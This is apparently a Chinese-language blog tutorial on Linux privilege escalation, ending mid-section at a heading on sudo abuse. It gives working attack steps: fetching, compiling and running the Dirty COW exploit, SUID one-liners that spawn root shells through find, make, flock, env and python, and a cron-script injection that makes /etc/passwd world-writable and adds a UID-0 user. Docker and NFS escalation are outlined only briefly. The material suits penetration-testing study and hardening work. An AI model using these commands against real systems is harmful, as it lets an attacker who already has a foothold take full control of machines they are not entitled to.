内核漏洞提权

Linux系统处于源码开放状态,多年来被各国的安全从业者发现一系列漏洞,利用其中的一部分漏洞可以直接获取到系统的最高权限。利用内核漏洞进行提权一般包括三个环节:首先,对目标系统进行信息收集,获取到系统内核信息以及版本信息;而后,根据内核版本获取其对应的漏洞以及EXP;最后,使用找到的EXP对目标系统发起攻击,完成提权操作。本文以一个经典的Linux内核提权漏洞-“Dirty COW”来做演示,其信息如下所示:

漏洞信息:CVE-2016-5195漏洞(Dirty COW,脏牛)

影响范围:Linux 内核2.6.22 – 3.9 (x86/x64)

漏洞EXP:https://github.com/FireFart/dirtycow

该漏洞的利用方式如下:

(1)信息收集:通过 uname -a 命令查看内核版本,可见其存在本漏洞

image-20230319212655960

(2)获取EXP:通过上文的链接将exp下载到本地,使用 gcc -pthread dirty.c -o dirty -lcrypt 命令对dirty.c进行编译,生成一个名为dirty的可执行文件。此时查看用户信息,显示当前用户为普通用户

image-20230319212708541

(3)发起攻击:执行“./dirty 123456”(密码自定义),执行提权。

image-20230319212800755

根据返回信息的提示,使用“firefart”进行登录,密码为上文设置的密码。查看用户权限,为root权限,提权成功!

image-20230319212817837

Suid提权

SUID(设置用户ID) 是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root

SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID:

(A)Real UID:执行该进程的用户的UID Real UID只用于标识用户,不用于权限检查

(B)Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID

(C)Saved UID:在高权限用户降权后,保留的UID

如果某个设置了SUID权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,如果属主为root,便是一个root shell root shell中运行的程序的EUID也都是0,具备超级权限,于是便实现了提权

先为进程配置权限,而后实现提权操作

  • 权限配置

使用 chmod u+s progress_test 命令为文件配置SUID权限,以 find、make、flock、env、python 为例,配置成功之后拥有者权限的执行位为s

image-20230319214141014
  • 提权操作

假设前期的渗透操作已经拿下了一个低权限的用户suid_test , 下面对其提权

查看本机中拥有suid权限的程序文件:

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

这个命令将从 / 目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件

  1. find

输入以下命令

1
find . -exec /bin/sh -p \; -quit

返回shell,可见该进程euid为root,可以读取shadow文件,提权成功

image-20230319213856675
  1. make

输入以下命令返回root shell

1
2
COMMAND='/bin/sh -p'
make -s --eval=$'x:\n\t-'"$COMMAND"
  1. flock

输入以下命令返回root shell

1
flock -u / /bin/sh -p
  1. env

输入以下命令返回root shell:

1
env /bin/sh -p
  1. python

输入以下命令返回root shell:

1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

定时任务提权

定时任务(cron job)是Linux系统中的一个守护进程,用于调度重复任务,通过配置crontab可以让系统周期性地执行某些命令或者脚本。cron 是 Linux 系统中最为实用的工具之一,但是也可能被黑客用于提权操作。由于cron通常以root特权运行,如果我们可以修改其调度的任何脚本或二进制文件,那么便可以使用root权限执行任意代码。本文首先配置一个定时任务,然后利用该任务进行提权。

(1)定时任务创建

编写一个脚本test.py ,将其权限置为所有用户可读可写可操作:chmod 777 test.py

而后修改crontab文件,将定时任务注册到系统中:vim /etc/crontab,在末尾加上

1
*/1 *  * * *  root   python  /home/ubuntu/test.py

表示每1分钟运行一次test.py, 至此定时任务创建成功

image-20230319202622286

(2)提权操作

假设通过之前的渗透操作,获得了低权限的用户ubuntu

查看crontab文件:cat /etc/crontab,发现存在定时任务,以root身份定时运行/home/ubuntu/test.py。而test.py文件是任意成员可写的,于是向其代码尾部追加以下内容,将passwd文件权限设置为任意成员可写

1
os.chmod("/etc/passwd",stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO)

一分钟之后,程序自动运行,发现passwd已经任意成员可写

接下来需要做的就是构造一个用户,在密码占位符处指定密码,UID设置为0,并将其添加到 /etc/passwd 文件中

首先,使用perl语言生成带有盐值的密码: perl -le 'print crypt("hack","addedsalt")'

而后,拼接密码,将以下字符串写入/etc/passwd文件,之后便拥有了一个超级用户hack:hack

1
hack:adCP9//qaScc2:0:0:User_like_root:/root:/bin/bash

最后登录hack用户,自动跳转到root用户,提权成功!

Docker提权

除了利用Linux系统自带的工具进行提权,还可以利用大量存在风险的第三方工具进行提权,以Docker为例进行演示

随着云化时代的来临,docker也越来越流行,在很多公司内部的linux机器上docker已然成了标配。Docker使用便捷,有以下几个特性:

(1)可免sudo使用docker:默认情况下使用docker必须要有sudo权限,对于一台机器多用户使用,往往很多用户只有普通权限。为了让普通用户也可以使用Docker,管理员将需要使用docker的用户添加到docker用户组(安装docker后默认会创建该组)中,用户重新登录机器即可免sudo使用docker了

(2)容器内用户权限不受限:用户创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。正常情况下,这种模式既可以保证一台机器被很多普通用户使用,通过docker容器的隔离,相互之前互不影响;也给用户在容器内开放了充足的权限保证用户可以正常安装软件,修改容器配置等操作

(3)容器内外文件可映射:docker提供了一个-v选项,提供用户将容器外的host目录映射进容器内,方便的进行容器内外的文件共享

结合上面三个特点,可以实现用户提权操作

NFS提权

NFS(网络文件系统)是一种分布式文件系统协议,NFS允许系统通过网络与其他人共享目录和文件。在NFS文件共享中,用户甚至程序可以访问远程系统上的信息,就像它们驻留在本地计算机上一样。NFS中的Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。当该参数设置为no_root_squash时,登入 NFS 主机使用分享目录的使用者如果是 root 的话,那么对于这个分享的目录来说,他就具有 root 的权限,基于此原理便可实现提权

Sudo滥用提权

sudo没配置密码